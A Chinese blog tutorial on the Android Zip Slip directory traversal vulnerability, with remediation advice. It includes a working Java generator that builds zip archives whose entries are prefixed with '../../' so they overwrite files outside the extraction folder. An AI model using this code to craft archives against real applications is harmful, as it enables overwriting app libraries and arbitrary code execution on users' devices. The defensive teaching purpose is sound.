Android静态安全检查(二):Zip文件目录遍历攻击漏洞

什么是Zip文件遍历

        Zip压缩包中,允许文件名存在"../"字符串,攻击者可以利用多个“../”在解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件。如果被覆盖掉的文件是动态链接so、dex或者odex文件,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害用户的设备安全和信息安全。

漏洞原理

在linux系统中,../代表切换到上一级目录,Java代码在解压Zip文件时,会使用ZipEntry类的getName()方法,获取文件的名称,如果文件名包含../字符串,该方法的返回值里面会原样返回,如果没有过滤掉返回值里面的../字符串,继续进行解压操作,就有可能在其他的目录创建文件。

Github这个链接上有一些示例的Zip包样本https://github.com/snyk/zip-slip-vulnerability

通过如下的代码,就可以创建攻击zip包

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

/**
 * 生成zip目录遍历攻击包
 * @author wzj
 * @create 2018-07-07 22:13
 **/
public class GenerateZipVulnTest
{
    public static void main(String[] args) throws IOException
    {
        List<String> filePathList = new ArrayList<String>();
        filePathList.add("C:\\Users\\wzj\\Desktop\\ww\\1.txt");
        filePathList.add("C:\\Users\\wzj\\Desktop\\ww\\2.txt");
        generateZip("C:\\Users\\wzj\\Desktop\\ww\\test.zip",filePathList);
    }

    /**
     * 生成zip目录遍历攻击压缩包
     * @param zipPath zip目录
     * @param filePathList 要压缩的文件列表
     */
    public static void generateZip(String zipPath,List<String> filePathList) throws IOException
    {
        OutputStream outputStream = new FileOutputStream(new File(zipPath));
        ZipOutputStream zipOutputStream = new ZipOutputStream(outputStream);
        byte[] buffer = new byte[1024];

        for (String filePath : filePathList)
        {
            FileInputStream fileInputStream = new FileInputStream(filePath);
            zipOutputStream.putNextEntry(new ZipEntry("../../" + filePath));

            int len = 0;
            while ((len = fileInputStream.read(buffer)) != -1)
            {
                zipOutputStream.write(buffer,0,len);
            }

            zipOutputStream.closeEntry();
            fileInputStream.close();
        }

        zipOutputStream.close();
    }
}

漏洞修复方案

  • 对重要的ZIP压缩包文件进行数字签名校验,校验通过才进行解压。 
  • 在调用getName()方法之后,判断路径中是否有"../"字符串,如果有做相应的处理。
  • 在调用getName()方法之后,调用File的getCanonicalPath()方法,获取绝对路径,然后判断该路径是否在要解压目录的子目录。

这篇博客提供了检测方法《Soot检测Android应用Zip目录遍历漏洞

阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u010889616/article/details/80955250
文章标签: Android zip
个人分类: 移动安全
所属专栏: 移动安全
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭